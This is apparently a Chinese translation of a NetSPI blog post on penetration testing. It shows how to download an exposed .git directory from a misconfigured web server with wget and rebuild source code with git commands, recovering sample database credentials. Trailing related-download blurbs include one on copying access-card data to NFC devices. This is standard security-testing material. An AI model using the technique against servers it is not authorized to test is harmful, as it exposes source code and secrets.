`

[译]从配置错误的web server中dump git数据

 
阅读更多
原文地址:https://blog.netspi.com/dumping-git-data-from-misconfigured-web-servers/

通常情况:

检查 git repository最简单的方法是查找.git文件夹

可以使用Nessus, Nikto, 和nmap等工具来完成该任务。
通常我会首先检查config文件

接下来获取.git文件夹下的所有文件:
 wget -r http://192.168.37.128/.git/

我们获得了web服务器的Git repository
root@kali:~/192.168.37.128: ls -al
total 12
drwxr-xr-x  3 root root 4096 Dec 26 14:28 .
drwxr-xr-x 19 root root 4096 Dec 26 14:28 ..
drwxr-xr-x  8 root root 4096 Dec 26 14:28 .git
root@kali:~/192.168.37.128#

git status可以查看本地和web server的区别:
root@kali:~/192.168.37.128: git status
# On branch master
# Changes not staged for commit:
#   (use "git add/rm <file>..." to update what will be committed)
#   (use "git checkout -- <file>..." to discard changes in working directory)
#
#	deleted:    index.php
#
no changes added to commit (use "git add" and/or "git commit -a")

可以看到在我们的repository中缺少index.php文件
对于文件很少的repositories ,我们可以diff区别来查看我们缺少的文件的内容:
root@kali:~/192.168.37.128: git diff
diff --git a/index.php b/index.php
deleted file mode 100644
index 2bd0989..0000000
--- a/index.php
+++ /dev/null
@@ -1,13 +0,0 @@
-Hello World!
-
-<?php
-$servername = "localhost";
-$username = "admin";
-$password = "password";
-
-$conn = new mysqli($servername, $username, $password);
-
-if ($conn->connect_error) {
-    die("Connection failed: " . $conn->connect_error);
-} 
-?>
 

这样我们就可以看到index.php文件。
可以使用 git reset –hard来回到上一次commit时的状态。
root@kali:~/192.168.37.128: git reset --hard
HEAD is now at ec53e64 hello world
root@kali:~/192.168.37.128: ls -al
total 16
drwxr-xr-x  3 root root 4096 Dec 26 14:37 .
drwxr-xr-x 19 root root 4096 Dec 26 14:28 ..
drwxr-xr-x  8 root root 4096 Dec 26 14:37 .git
-rw-r--r--  1 root root  238 Dec 26 14:37 index.php
root@kali:~/192.168.37.128:

git在objects文件中存储文件信息:
root@kali:~/192.168.37.128/.git/objects: ls -al
total 64
drwxr-xr-x 16 root root 4096 Dec 26 14:28 .
drwxr-xr-x  8 root root 4096 Dec 26 14:37 ..
drwxr-xr-x  2 root root 4096 Dec 26 14:28 04
drwxr-xr-x  2 root root 4096 Dec 26 14:28 07
drwxr-xr-x  2 root root 4096 Dec 26 14:28 26
drwxr-xr-x  2 root root 4096 Dec 26 14:28 2b
drwxr-xr-x  2 root root 4096 Dec 26 14:28 83
drwxr-xr-x  2 root root 4096 Dec 26 14:28 8d
drwxr-xr-x  2 root root 4096 Dec 26 14:28 8f
drwxr-xr-x  2 root root 4096 Dec 26 14:28 93
drwxr-xr-x  2 root root 4096 Dec 26 14:28 ae
drwxr-xr-x  2 root root 4096 Dec 26 14:28 ec
drwxr-xr-x  2 root root 4096 Dec 26 14:28 f2
drwxr-xr-x  2 root root 4096 Dec 26 14:28 f3
drwxr-xr-x  2 root root 4096 Dec 26 14:28 info
drwxr-xr-x  2 root root 4096 Dec 26 14:28 pack

有一些只有两个字符的文件夹,他们里面含有一些随机字符命名的文件:
引用

root@kali:~/192.168.37.128/.git/objects/2b: ls -al
total 12
drwxr-xr-x  2 root root 4096 Dec 26 14:28 .
drwxr-xr-x 16 root root 4096 Dec 26 14:28 ..
-rw-r--r--  1 root root  171 Dec 26 13:32 d098976cb507fc498b5e8f5109607faa6cf645

这些文件夹和其中的文件实际上为blob数据创建SHA-1。每个SHA-1含有repository中每个文件的bits/pieces。
我们可以使用下面的命令查看index.php的SHA-1信息
git cat-file -p master^{tree}

root@kali:~/192.168.37.128/.git: git cat-file -p master^{tree}
100644 blob 2bd098976cb507fc498b5e8f5109607faa6cf645	index.php

该命令的作用是显示master分支中的每个文件的SHA-1
我们可以把这些SHA-1传递给git cat-file 来显示文件内容
root@kali:~/192.168.37.128/.git: git cat-file -p 2bd098976cb507fc498b5e8f5109607faa6cf645
Hello World!
 
<?php
$servername = "localhost";
$username = "admin";
$password = "password";
 
$conn = new mysqli($servername, $username, $password);
 
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
} 
?>

OWASP Zed Attack Proxy (ZAP) 可以自动从暴露的git文件夹中提取文件(通常是app的代码)。ZAP的一个优点是它不需要设置directory listing为启动状态。相反ZAP匹配内部git文件然后直接提取代码而不需要依赖额外的工具,例如git客户端。
ZAP还可以提取SVN文件夹。
  • 大小: 23.3 KB
  • 大小: 79.5 KB
  • 大小: 28.9 KB
分享到:
评论

相关推荐

    如何使用SQL Server来过滤数据

    关系型数据通常以规范化形式保存,就是说你应该尽可能少地重复数据;通常情况下,表与表之间仅通过各种键值实现关联。进一步地讲,规范化的含义就是:你不能在数据库...本文将为大家介绍如何使用SQL Server来过滤数据。

    DUMP数据分析助手.zip

    IC卡dump的数据分析,对于分析DUMP数据,方便开始工程师对于数据的分析及修改,软件可以进行数据分析,修改,刷写等。部分功能需要VIP功能。

    idea git提交内存溢出后dump文件

    今天在idea中 git commit&pull的时候,手快不知道点了什么,窗口被关了,然后发现commit了未提交,点击pull,内存溢出了,留下dump后的文件,以后有能力了再分析

    dump命令 备份文件系统

    dump命令用于备份文件系统 ,dump为备份工具程序,可将目录或整个文件系统备份至指定的设备,或备份成一个大文件。 语法格式:dump [参数] 常用参数: -0123456789 备份的层级 -b 指定区块的大小,单位为KB ...

    rtmpdump-2.2e.tar.gz_dump_rtmp_rtmp server_rtmpdump

    Source code of rtmpdump that stream/dump from rtmp server.

    dump Directfb数据工具

    程序运行时执行,此工具可以把Directfb数据从画布dump到本地,并保存成PPM格式图片,很好很强大

    空白卡数据.dump

    IC卡空白卡数据,空白数据可复制到NFC设备。如手环,手机。设备先复制空白数据,再用写卡工具将IC卡数据写入到NFC设备上,就可以用NFC设备刷门禁,电梯之类的了。

    dump文件修改

    可以读写IC卡,产生dump文件,Hex十六进制数据的1K文件,可自行转成可供WinHex等软件读取的4K文件

    Win10 Git Bash闪退的解决方案文件

    当你的Win10系统出现Git Bash闪退时,需要该文件进行开启相关服务,可以参考我的博客进行解决。

    serverdump测试用

    serverdump 测试用,作用不大,请不要下载,谢谢

    DUMP数据分析助手.exe

    可用于分析dump文件十六进制数的按位取反,十进制换算,二进制换此算和逆位的十六进制数换算,二进制换算。还可以进行和和异或计算,可以添加运算数进行更多计算。文件对比:自动对比。有能力的可以获得vip功能。/...

    IC卡数据Dump txt转换工具

    IC卡数据Dump txt转换工具 ,拖入直接转换简单好用

    http tftp server rtmpdump

    http sever, cisco tftp sever,rtmp rtmpdump可抓取网页上的链接下载

    Dump文件编辑中文版

    Dump文件编辑中文版 分析DUMP文件数据 修改数据

    容器中生成coredump文件

    如何在让docker中运行的进程生成core dump文件

    Oracle数据库导入到SqlServer步骤(图文篇)

    Oracle数据库导入到SqlServer步骤(图文篇),自己写的,碰到不少问题,终于解决了。

    git-dump-index:将.gitindex文件转换为可读格式

    在您的git仓库中运行git-dump-index 。 $ cd YOUR/GIT/REPOSITORY $ git-dump-index git-dump-index解析.git/index并将其转换为人类可读的格式。 name: LICENSE stat: ctime: 55FAA8DE 00000000 mtime: 55FAA8...

    Biztalk server 2010 dump file

    it is dump file for Microsoft MCTS 70-595 and covers 100% the exam.

    dump教程,纠错

    也就是说把内存中或者其他的输入转存到另一个位置,当然对于我们现在说的dump就是把内存中运行的PE进程的数据,从内存中抓取出来,然后在用文件的形式保存下来。 根据上面的分析我们基本上得到了一个这样的思维。...

    redis中使用redis-dump导出、导入、还原数据实例

    主要介绍了redis中使用redis-dump导出、导入、还原数据实例,本文直接给出操作命令,并给出注释加以说明,需要的朋友可以参考下

Global site tag (gtag.js) - Google Analytics